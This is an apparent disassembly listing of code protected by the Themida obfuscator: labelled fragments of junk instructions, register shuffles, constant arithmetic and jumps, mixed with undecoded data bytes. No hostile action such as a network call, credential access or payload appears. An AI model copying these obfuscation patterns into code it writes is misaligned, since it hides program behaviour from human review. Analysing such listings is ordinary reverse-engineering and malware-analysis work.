		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	edx
		mov	edx, esp
		jmp	loc_5D430A
; ---------------------------------------------------------------------------
		dd 1D2EA81h, 0D601D90Ah, 0E9FEE95Ah, 0C601FFFFh, 4EE8158h
		dd 33000000h, 34312434h, 24343324h, 1D52E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D9EE5:				; CODE XREF: Themida_:005DA1C5j
		dec	ebp
		xor	ebp, 0DDCD8356h
		mov	edx, ebp
		pop	ebp
		xor	edi, edx
		jmp	loc_5D636D
; ---------------------------------------------------------------------------


loc_5D9EF6:				; CODE XREF: Themida_:005DBD1Ej
		push	ecx
		mov	ecx, 16D45B65h
		jmp	loc_5D8104
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8704C483h, 248B2414h, 76AAE924h, 4840FFFFh, 0E9D0F740h
		dd 0E5Bh
; ---------------------------------------------------------------------------


loc_5D9F1C:				; CODE XREF: Themida_:005D65C8j
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5D3B14
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 248B2434h, 4EC8124h, 89000000h, 4BB241Ch
		dd 0E9000000h, 0FFFF85A0h
; ---------------------------------------------------------------------------


loc_5D9F48:				; CODE XREF: Themida_:005D9747j
		add	al, dl
		sub	al, 0Ah
		pop	dx
		sub	al, bl
		push	edx
		push	eax
		mov	ah, 70h
		xor	ah, 0C8h
		mov	dl, ah
		jmp	loc_5DA297
; ---------------------------------------------------------------------------


loc_5D9F5E:				; CODE XREF: Themida_:005D9173j
		not	ebp
		xchg	ebp, esi
		neg	esi
		push	edi
		mov	edi, 75EC1F4Ah
		jmp	loc_5DC655
; ---------------------------------------------------------------------------


loc_5D9F6F:				; CODE XREF: Themida_:005D8DDFj
		not	eax
		xchg	eax, edi
		not	edi
		push	edx
		jmp	loc_5D5493
; ---------------------------------------------------------------------------


loc_5D9F7A:				; CODE XREF: Themida_:005D2F90j
		mov	[esp], eax
		jmp	loc_5D1801
; ---------------------------------------------------------------------------


loc_5D9F82:				; CODE XREF: Themida_:005DD50Fj
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		or	edx, eax
		jmp	loc_5D1E35
; ---------------------------------------------------------------------------
		dd 4B8h, 58C50100h, 5C685057h, 586E8530h, 94D30805h, 58C78905h
		dd 0FC9EC781h, 9BE98BE5h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D9FD3:				; CODE XREF: Themida_:005DA093j
		pop	edx
		xor	edx, 8DF62C3h
		push	dword ptr [esp]
		jmp	loc_5D331A
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 41072236h, 0E2E9FE01h, 4DFFFFDEh, 432C581h, 0EF89EE6Dh
		dd 0E9242C8Bh, 0FFFFCBFBh, 5C242C33h, 2404A30Fh, 0A67DE99Ch
		dd 2CACFFFFh, 28EB2C38h, 83EB04D8h, 0C8904ECh, 0E991B524h
		dd 0FFFFF465h, 0F707E5C1h, 16E955D5h, 83FFFFCAh, 3C8704C7h
		dd 0CB69E924h, 8B66FFFFh, 3E9240Ch, 4A000013h, 0FA1B850h
		dd 0C6E94007h, 89FFFFB3h, 24348BF2h, 4C481h, 0CA310000h
		dd 0FFB5CDE9h, 59EB00FFh, 0BBB05051h, 1CD3E9h, 24348B00h
		dd 4C481h, 0DEF70000h, 7B6ECE81h, 0B5E94DBEh
		db 9Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA083:				; CODE XREF: Themida_:005DD399j
		not	esi
		sub	esi, 0A3B2B197h
		push	esi
		xor	dword ptr [esp], 8DF62C3h
		jmp	loc_5D9FD3
; ---------------------------------------------------------------------------


loc_5DA098:				; CODE XREF: Themida_:005DCE7Dj
		and	[esp], ax
		pushf
		jmp	loc_5D15BC
; ---------------------------------------------------------------------------
aADaFrpI	db '!ͤfRP',0Ah,0
		db 0E6h, 0E9h, 3Ah
		dd 5AFFFFEEh, 8159E828h, 4ECh, 240C8900h, 619F68h, 24148900h
		dd 0CCB1EBB2h, 0FDE9D130h, 59FFFFF2h, 2E047404h, 8957692Ch
		dd 4C781E7h, 52000000h,	4BAh, 0B000E900h, 0F781FFFFh, 3F8275Bh
		dd 425FFA31h, 7EAC14Ah,	3368C281h, 54E9FFA4h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5DA10B:				; CODE XREF: Themida_:005D8733j
		push	0C73h
		mov	[esp], edi
		push	esi
		push	277C499Fh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5DD58C
; ---------------------------------------------------------------------------
		dd 685BD801h, 2227h, 0B9240C89h, 0D6D6797h, 413EBD55h
		dd 0EDC10A9Dh, 0FBF58106h, 1FFD58Ah, 56685DE9h,	89000034h
		dd 0BE56241Ch, 2AD5435Ch, 4B5EF389h, 0FF8B12E9h, 7115BEFFh
		dd 0BEE97F60h, 8BFFFFE0h, 17682404h, 89000050h,	0E789243Ch
		dd 4C781h, 0E9500000h, 1B39h, 31B2E959h, 0C7830000h, 31DE904h
		dd 0F1810000h, 462Dh, 0E959CF01h, 0FFFFFFEAh, 0E95DEE29h
		dd 0FFFFA1BEh
; ---------------------------------------------------------------------------


loc_5DA1A4:				; CODE XREF: Themida_:005DD837j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5DD6B4
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 1593E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA1BA:				; CODE XREF: Themida_:005D80A5j
		mov	ebp, 31771F33h
		sub	ebp, 37B6608Ch
		jmp	loc_5D9EE5
; ---------------------------------------------------------------------------
		dw 5905h
		dd 1112299h, 148758C2h,	24248B24h, 5D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5DA1DD:				; CODE XREF: Themida_:005D4F63j
		dec	ebx
		add	ebx, 4F01513h
		not	ebx
		jmp	loc_5D18AD
; ---------------------------------------------------------------------------


loc_5DA1EB:				; CODE XREF: Themida_:005DCFF6j
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D39FF
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 0FFFFD0B6h, 240C8B66h, 6A768h, 242C8900h, 0C581E589h
		dd 4, 500B68h, 24048900h, 180AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5DA221:				; CODE XREF: Themida_:005D3E5Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	62B0h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		mov	eax, 229660Ah
		shl	eax, 7
		push	4B78h
		mov	[esp], ebx
		jmp	loc_5D4F2D
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 81000000h, 4C3h, 1373E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA262:				; CODE XREF: Themida_:005D3C08j
		add	esp, 4
		push	0F86A4E8Ch
		jmp	loc_5D1869
; ---------------------------------------------------------------------------


loc_5DA272:				; CODE XREF: Themida_:005D7282j
		xchg	ebp, esi
		jmp	loc_5D6026
; ---------------------------------------------------------------------------


loc_5DA279:				; CODE XREF: Themida_:005DCDF1j
		xor	eax, ecx
		push	eax
		xchg	eax, [esp]
		not	eax
		jmp	loc_5D85A6
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 0FE95B59h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA28F:				; CODE XREF: Themida_:005D3D14j
		pop	dword ptr [esp]
		jmp	loc_5DAE38
; ---------------------------------------------------------------------------


loc_5DA297:				; CODE XREF: Themida_:005D9F59j
		pop	eax
		sub	dl, 6Bh
		xor	dl, 0E3h
		sub	al, dl
		jmp	loc_5D3C50
; ---------------------------------------------------------------------------


loc_5DA2A5:				; CODE XREF: Themida_:005D3B81j
		mov	[esp], ebx
		jmp	loc_5D1C03
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 3C870000h, 0E0685C24h, 8900000Bh, 0D6BA2414h
		dd 5356A600h, 0FFD5D5E9h, 241C87FFh, 288645Ch, 0FF72E3E9h
		dd 241C89FFh, 0FFC97EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DA2E1:				; CODE XREF: Themida_:005D71ADj
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_5D99E9
		push	3107h
		jmp	loc_5DA694
; ---------------------------------------------------------------------------
		db 0B9h
		dd 37E3FDE5h, 8959C829h, 0F53158C5h, 4BED815Eh,	686D6A27h
		dd 82Ch, 0B8240489h, 548F7CCAh,	0BBEFE951h, 5058FFFFh
		dd 2B8h, 40C58100h, 163050Dh, 40ED81C5h, 5863050Dh, 8B242C87h
		dd 0FF662424h, 0E99C2404h, 0FFFF7278h, 0E905EAC1h, 0FFFFE94Dh
		dd 577906BBh, 0E9D8296Fh, 0FFFFCD3Ch
; ---------------------------------------------------------------------------


loc_5DA358:				; CODE XREF: Themida_:005DBA03j
		pop	ebp
		sub	ebp, 30247635h
		push	eax
		jmp	loc_5D1EAF
; ---------------------------------------------------------------------------
		db 0B7h, 0F1h, 80h
		dd 0DFF644C7h, 0E9FCCF80h, 0FFFFDB40h, 5C2814Ah, 8122B46Bh
		dd 0B284ECEAh, 0E5C6813Fh, 102DA22h, 0E5EE81D6h, 8B02DA22h
		dd 0C4812414h, 4, 31243433h, 4EE92434h,	8B000030h, 0C483240Ch
		dd 720EE904h, 8B66FFFFh, 5E92424h, 31FFFF72h, 0C9815AD1h
		dd 7F043445h, 0FF949BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DA3C5:				; CODE XREF: Themida_:005D3E88j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5D1812
; ---------------------------------------------------------------------------
		dd 15FF889h, 44EE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA3DE:				; CODE XREF: Themida_:005D7267j
		pop	esp
		push	esi
		sub	esp, 4
		jmp	loc_5D327C
; ---------------------------------------------------------------------------
		dd 24143358h, 33241431h, 248B2414h, 240CD324h, 71BEE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA3FE:				; CODE XREF: Themida_:005DB7D8j
		mov	[esp], ebp
		push	13F41FAEh
		jmp	loc_5D5A1E
; ---------------------------------------------------------------------------
		db 29h
		dd 24348BF2h, 0FF8580E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DA415:				; CODE XREF: Themida_:005D6EADj
		sub	ebp, 5CE23727h
		xchg	ebp, ecx
		jmp	loc_5D2354
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48124h, 30000000h,	148B66F3h, 2C48324h, 0FE3DB050h
		dd 0FED834C8h, 28222CC0h, 0D80058C3h, 8B2434FFh, 0C481241Ch
		dd 4, 5304C483h, 0C381E389h, 4,	0E982E955h, 248BFFFFh
		dd 4096624h, 4DE99C24h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA46F:				; CODE XREF: Themida_:005DCA46j
		mov	esi, 8AE891D8h
		push	ebp
		mov	ebp, 40D700DEh
		sub	esi, ebp
		pop	ebp
		add	esi, ebp
		push	ebx
		push	edi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5D5330
; ---------------------------------------------------------------------------


loc_5DA48F:				; CODE XREF: Themida_:005D3851j
		mov	ebp, 4
		jmp	loc_5D3D8A
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0BBh
		dd 5F736D2Dh, 527BD55h,	35E97AF3h, 87FFFFECh, 815C243Ch
		dd 0AD5650C3h, 62EB812Ch, 0E925F32Dh, 86Eh
; ---------------------------------------------------------------------------


loc_5DA4C0:				; CODE XREF: Themida_:005D7308j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5DBCF6
; ---------------------------------------------------------------------------


loc_5DA4D7:				; CODE XREF: Themida_:005D4027j
		pop	eax
		jmp	loc_5D5C1A
; ---------------------------------------------------------------------------


loc_5DA4DD:				; CODE XREF: Themida_:005DD6B7j
		sub	esp, 4
		jmp	loc_5D2755
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 83000000h, 0C8704E9h, 1C895C24h, 0FEA7B724h,	8AB252CFh
		dd 30BBEA80h, 0F8005AD7h, 0E92E2C5Bh, 2B90h, 1DE668h, 0B31BE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA516:				; CODE XREF: Themida_:005DBEEBj
		sub	[esp+4], edx
		jmp	loc_5D8E44
; ---------------------------------------------------------------------------


loc_5DA51F:				; CODE XREF: Themida_:005D82DEj
		mov	[esp], edx
		mov	edx, 1
		push	ebx
		push	4DB9h
		mov	[esp], ebp
		mov	ebp, 4D4D3A14h
		push	4D4D3A30h
		pop	ebx
		xor	ebx, ebp
		pop	ebp
		add	ebx, edi
		add	[ebx], edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	edx


loc_5DA54A:				; CODE XREF: Themida_:005DD698j
		push	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5D65CD
; ---------------------------------------------------------------------------
aBDvjizS	db 'dvjI',0Bh,0
		dw 5E00h
		dd 1DC8B850h, 0C73142BBh, 0C4C38158h, 15F4C1Dh,	0C4EB81FBh
		dd 0E95F4C1Dh, 303Eh, 89242C89h, 4C581E5h, 81000000h, 4C5h
		dd 74FF5500h, 0D0E90424h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA59B:				; CODE XREF: Themida_:005D22ACj
		pop	ebx
		push	ecx
		jmp	loc_5DAD49
; ---------------------------------------------------------------------------


loc_5DA5A2:				; CODE XREF: Themida_:005D2BD1j
		add	esp, 4
		push	ebx
		pop	eax
		mov	ebx, [esp]
		jmp	loc_5DCEE7
; ---------------------------------------------------------------------------
		dw 0E2BDh
		dd 8952BC7Bh, 0E0C15DE8h, 0DD983508h, 0C601BB7Ah, 34875B58h
		dd 9F08E924h, 2DADFFFFh, 607B497Dh, 13096851h, 2C890000h
		dd 6720BD24h, 0C581512Fh, 0DBA5A42Bh, 815DE989h, 0F97CB6E1h
		dd 6BC1816Bh, 490A822Ch, 10B1C181h, 0C8013FF1h,	0FFED5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DA605:				; CODE XREF: Themida_:005D92D0j
		mov	esi, 1
		push	edx
		mov	edx, 24h
		push	ebp
		push	76ECh
		mov	[esp], edx
		push	21F2h
		mov	[esp], edi
		push	22213C36h
		pop	edi
		jmp	loc_5DD164
; ---------------------------------------------------------------------------
		dd 62840D58h, 0E9484E49h, 0FFFFFB92h, 0C1D0F748h, 0D8F702E0h
		dd 15596305h, 817C050Ch, 0C301E40Bh, 0FFE597E9h, 241C31FFh
		dd 31241C33h, 3153241Ch, 34332434h, 0F692E924h,	0C629FFFFh
		dd 4EC8358h, 0BB241C89h, 0C5AA3D11h, 27E9DE29h,	4AFFFFEFh
		dd 0FFACCBE9h, 8EF680FFh, 5AF100h, 240C8BCBh, 0E9E78957h
		dd 251Ch
; ---------------------------------------------------------------------------


loc_5DA694:				; CODE XREF: Themida_:005DA2F2j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5DC5DE
; ---------------------------------------------------------------------------
		db 89h
		dd 4FE959CBh
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA6A7:				; CODE XREF: Themida_:005D8CC5j
		dec	ebx
		sub	ebx, 7D0F2032h
		push	edx
		mov	edx, 1
		sub	ebx, edx
		pop	edx
		and	ebx, 7AD95031h
		jmp	loc_5D7651
; ---------------------------------------------------------------------------


loc_5DA6C2:				; CODE XREF: Themida_:005D3294j
		xor	ebp, 9E8A2E61h
		add	ecx, 4830678Dh
		jmp	loc_5D6E8E
; ---------------------------------------------------------------------------
		db 89h
		dd 0BE565BD9h, 653B5536h, 0FF7B5CE9h, 2434FFFFh, 6C2F6859h
		dd 34890000h, 81E68924h, 4C6h, 0DCD8E900h, 0EF81FFFFh
		dd 3C06C28h, 0FFE13DE9h, 92EE81FFh, 0E95E5F75h,	0FFFFBAE8h
		dd 0E281D2F7h, 3A3107F8h, 0FFEA8142h, 813B884Bh, 674B90C2h
		dd 371E2D09h, 0D00141DEh, 0DE371E05h, 0F6E95A41h, 50FFFFC0h
		dd 2434FF54h, 0FFE024E9h, 4C181FFh, 83000000h, 0FF5104E9h
		dd 59042474h, 5C24048Fh, 0B3241C89h, 0FFD800FAh, 0B9E92434h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA763:				; CODE XREF: Themida_:005D5270j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		push	74E9h
		mov	[esp], ecx
		push	5B11h
		mov	[esp], eax
		mov	eax, 4F4F5BCFh
		mov	ecx, 906AD6F8h
		sub	ecx, 7ED46D75h
		sub	ecx, eax
		add	ecx, 7ED46D75h
		jmp	loc_5DB106
; ---------------------------------------------------------------------------
		db 51h
		dd 0C181E189h, 4, 4E981h, 0C870000h, 1C895C24h,	88D38824h
		dd 95E6E9D8h, 0E953FFFFh, 0FFFFB70Ah
; ---------------------------------------------------------------------------


loc_5DA7BC:				; CODE XREF: Themida_:005DADB9j
		pop	ecx
		and	ecx, eax
		jmp	loc_5D2514
; ---------------------------------------------------------------------------


loc_5DA7C4:				; CODE XREF: Themida_:005D8DD0j
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 38CC6308h
		jmp	loc_5DB235
; ---------------------------------------------------------------------------


loc_5DA7D7:				; CODE XREF: Themida_:005DBD04j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5D93EB
; ---------------------------------------------------------------------------
aZqhch		db 'ZQhcH',0
		dw 8900h
		dd 0CAB82404h, 0B97DE702h, 8218FD38h, 45E9C101h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA803:				; CODE XREF: Themida_:005D2F79j
		add	ebx, 2FF218A7h
		jmp	loc_5D8FCE
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0B3E9240Ch, 8BFFFFE4h, 0FE9243Ch
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA81F:				; CODE XREF: Themida_:005D5E6Bj
		add	esp, 4
		and	ebx, eax
		push	dword ptr [esp]
		jmp	loc_5D8E76
; ---------------------------------------------------------------------------
		dd 4C78358h, 7B4768h, 243C8900h, 42474FFh, 24048F5Fh, 0E924248Bh
		dd 0FFFF6D74h, 0EE7C24B9h, 0AFC1E930h, 5453FFFFh, 83241C8Bh
		dd 4CE904C4h, 81FFFFE3h, 8229F4EFh, 0E291E951h,	4DE9FFFFh
		dd 8FFFFF6Dh, 0DAE92404h, 87FFFFE7h, 248B242Ch,	0B60F6624h
		dd 4EC8100h, 89000000h,	0E6892434h, 4C681h, 0EC830000h
		dd 0BE3AE904h, 0CF01FFFFh, 81240C8Bh, 4C4h, 243C3300h
		dd 33243C31h, 6EE9243Ch, 81FFFF75h, 852CC5EBh, 3C38156h
		dd 146900Eh, 3EB81D3h, 8146900Eh, 852CC5C3h, 0E680E956h
		dd 8B66FFFFh, 0E956240Ch, 2DF3h
; ---------------------------------------------------------------------------


loc_5DA8DC:				; CODE XREF: Themida_:005DB0AEj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 75606CC1h
		jmp	loc_5D9AEB
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0E0892404h, 1AD2E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA8FE:				; CODE XREF: Themida_:005DCFCCj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ebx
		push	esi
		mov	esi, 624103ECh
		xor	esi, 7E7E63A1h
		push	ecx
		mov	ecx, esi
		mov	ebx, ecx
		pop	ecx
		pop	esi
		sub	ebx, 0FFFFFFFFh
		push	1826h
		jmp	loc_5D1FDE
; ---------------------------------------------------------------------------


loc_5DA92B:				; CODE XREF: Themida_:005D6052j
		pop	eax
		or	ebp, 7D2367EFh
		push	ebx
		push	eax
		mov	eax, 71FD3730h
		sub	eax, 23145611h
		shl	eax, 3
		inc	eax
		jmp	loc_5D99C9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 14152145h, 43572605h, 578E97Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5DA956:				; CODE XREF: Themida_:005D2850j
		mov	[esp], ecx
		push	esi
		jmp	loc_5D7E79
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 7659E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DA96A:				; CODE XREF: Themida_:005D3AC4j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	ebp, [esp]
		jmp	loc_5D3740
; ---------------------------------------------------------------------------
		db 87h
		dd 895C241Ch, 0E7B62414h, 80AAB353h, 0DE28BEC6h, 5BBEEE80h
		dd 34FFF028h, 922DE924h, 0BF57FFFFh, 698D1770h,	268F781h
		dd 0F9215C56h, 0DAD0E95Fh, 148BFFFFh, 4C48124h,	81000000h
		dd 4C2h, 70C46800h, 1C890000h, 4BB24h, 0DA010000h, 0FFF530E9h
		dd 916BAFFh, 7BE93B78h,	53FFFFFBh, 6837F3BBh, 51CB8161h
		dd 811B676Eh, 0F0186BE3h, 43CB8161h, 51204655h,	4EC81h
		dd 3C890000h, 7943E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAA02:				; CODE XREF: Themida_:005DB101j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5DB736
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 48E904C4h, 66FFFF94h, 8324048Bh, 1C8904ECh
		dd 840E924h, 814E0000h,	0EA5F3CE6h, 8E6C10Eh, 0D2B2C681h
		dd 0F3011780h, 81FB015Eh, 0DA0EB2EBh, 0C18BE937h, 8B66FFFFh
		dd 0EC81240Ch, 4, 54240489h, 0E2895258h, 4C281h, 0EA810000h
		dd 4, 8B241487h, 2C892424h, 2956BD24h, 0D6E94C0Bh, 81FFFFB2h
		dd 0FE6FFBF5h, 5DE8017Dh, 35B9BD55h, 0ED81726Eh, 716354E4h
		dd 0C107EDC1h, 4D4D04EDh, 0BEEAE957h, 3C8BFFFFh, 4C48124h
		dd 1000000h, 7AED81C5h,	58579819h, 8B242C87h, 0D3662424h
		dd 0E99C2424h, 0FFFF6AFCh, 16D8E9ACh, 148B0000h, 13776824h
		dd 3C890000h, 81E78924h, 4C7h, 0E0B85000h, 685A9146h, 3F68h
		dd 0BE243489h, 6A080FD8h, 187C681h, 76E938FEh, 5BFFFFA8h
		dd 4C381h, 0EC810000h, 4, 0FFA558E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DAB09:				; CODE XREF: Themida_:005DABBDj
		add	ebx, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 75107FAFh
		sub	edi, 1
		jmp	loc_5DBD23
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704C783h, 335C243Ch,	1DE9242Ch, 81FFFFA2h
		dd 4C4h, 89685000h, 8900000Eh, 0BE56242Ch, 1C8B002Ch, 1CA9BB53h
		dd 0F3817DA1h, 1D690E5Bh, 0F706EBC1h, 2EBC1DBh,	0FF9335E9h
		dd 0D5B850FFh, 0E9510E57h, 1223h
; ---------------------------------------------------------------------------


loc_5DAB78:				; CODE XREF: Themida_:005D5FE5j
		mov	[esp], edi
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, edi
		push	edx
		jmp	loc_5D47B7
; ---------------------------------------------------------------------------


loc_5DAB8A:				; CODE XREF: Themida_:005D43F6j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D8F46
; ---------------------------------------------------------------------------


loc_5DAB97:				; CODE XREF: Themida_:005D3249j
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		pop	edx
		push	ebp
		push	edx
		jmp	loc_5D78C6
; ---------------------------------------------------------------------------
		db 2Ch
		dd 0C355E921h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DABAE:				; CODE XREF: Themida_:005D5CC3j
		and	eax, ebx
		mov	ebx, [esp]
		push	41ABh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5DAB09
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 24E9505Ch
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DABDB:				; CODE XREF: Themida_:005D7071j
		xor	ebx, [esp]
		jmp	loc_5DBEC9
; ---------------------------------------------------------------------------


loc_5DABE3:				; CODE XREF: Themida_:005D2DCDj
		mov	eax, 54E30F14h
		and	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 2AC87CDCh
		or	ebx, ebp
		pop	ebp
		sub	ebx, 7AE67DDCh
		jmp	loc_5D22A7
; ---------------------------------------------------------------------------
		db 81h
		dd 0A22E14C6h, 71E95A40h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5DAC0B:				; CODE XREF: Themida_:005D7EA1j
		push	esi
		mov	esi, 800h
		push	edx
		mov	edx, esi
		mov	ecx, edx
		jmp	loc_5DCED0
; ---------------------------------------------------------------------------
		db 0FFh
		dd 58042474h, 8B24048Fh, 53512424h, 88D08850h, 27E958C7h
		dd 8FFFFF76h, 4832404h,	57580424h, 207FE9h, 36E95700h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DAC47:				; CODE XREF: Themida_:005D45FDj
		pop	esp
		mov	[esp], esi
		jmp	loc_5DCBF0
; ---------------------------------------------------------------------------
		dd 51F9F766h, 4EC81h, 24890000h, 4B85024h, 1000000h, 0E9042444h
		dd 0FFFF8D61h, 9D1C77FFh, 4185866h, 41E99C24h
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAC7B:				; CODE XREF: Themida_:005D3E11j
		pop	edx
		jmp	loc_5D8BEE
; ---------------------------------------------------------------------------
		db 87h,	34h, 24h
		dd 0C822E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DAC8A:				; CODE XREF: Themida_:005DBBD7j
		sub	ecx, 28F256F5h
		sub	ecx, esi
		add	ecx, 28F256F5h
		jmp	loc_5D3492
; ---------------------------------------------------------------------------


loc_5DAC9D:				; CODE XREF: Themida_:005DD122j
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		sub	ebp, esi
		jmp	loc_5D80F5
; ---------------------------------------------------------------------------
		dw 0FDB2h
		dd 8E9FA28h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5DACBB:				; CODE XREF: Themida_:005D516Cj
		add	esp, 4
		xor	esi, 0F52E70h
		push	ebp
		mov	ebp, 58702692h
		xor	ebp, 0DC0CC69Dh
		jmp	loc_5D5342
; ---------------------------------------------------------------------------


loc_5DACD5:				; CODE XREF: Themida_:005DD875j
		pop	ebx
		not	ebx
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 0EAFEB84Fh
		add	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_5D184E
; ---------------------------------------------------------------------------
		dw 8953h
		dd 8B3DE9E3h, 348BFFFFh, 0B6EDE924h, 8143FFFFh,	4A266FE3h
		dd 2E3C173h, 8143EBD1h,	4CBC5AEBh, 0E9DA8990h, 0FFFF9460h
; ---------------------------------------------------------------------------


loc_5DAD18:				; CODE XREF: Themida_:005D1B3Ej
		mov	eax, 2
		add	ebp, eax
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5DB053
; ---------------------------------------------------------------------------
		dw 0C329h
		dd 0FF89A4E9h, 48B66FFh, 0E1E6824h, 2C890000h, 565D5424h
		dd 0FFC9D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DAD49:				; CODE XREF: Themida_:005DA59Dj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	7BD4h
		mov	[esp], ecx
		jmp	loc_5D1FD4
; ---------------------------------------------------------------------------
		db 0BDh, 78h, 4Fh
		dd 0C1452AC8h, 0E94D08E5h, 0FFFF825Fh, 15E9C9FEh, 35FFFF6Eh
		dd 0C25EEEBDh, 8158C389h, 0CB658AE3h, 66CB8115h, 0F737DB74h
		dd 96F381DBh, 1C8248Ah,	0B5D9E9D9h, 0C380FFFFh,	7D04E9A6h
		dd 4B9FFFFh, 1000000h, 240C8BCEh, 8704C483h, 0C7E92434h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5DADB7:				; CODE XREF: Themida_:005D66E7j
		add	eax, ecx
		jmp	loc_5DA7BC
; ---------------------------------------------------------------------------
		dw 0C083h
		dd 24048704h, 5624248Bh, 0C681E689h, 4,	0FFA2DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5DADD5:				; CODE XREF: Themida_:005DC12Dj
		add	ebx, 243EFE38h
		push	ebp
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		jmp	loc_5D3942
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 2434FF54h, 4C4835Eh, 13BE5652h, 81371125h
		dd 0DC26AAEEh, 0D413E901h, 0EE01FFFFh, 149DE9h,	0C8B6600h
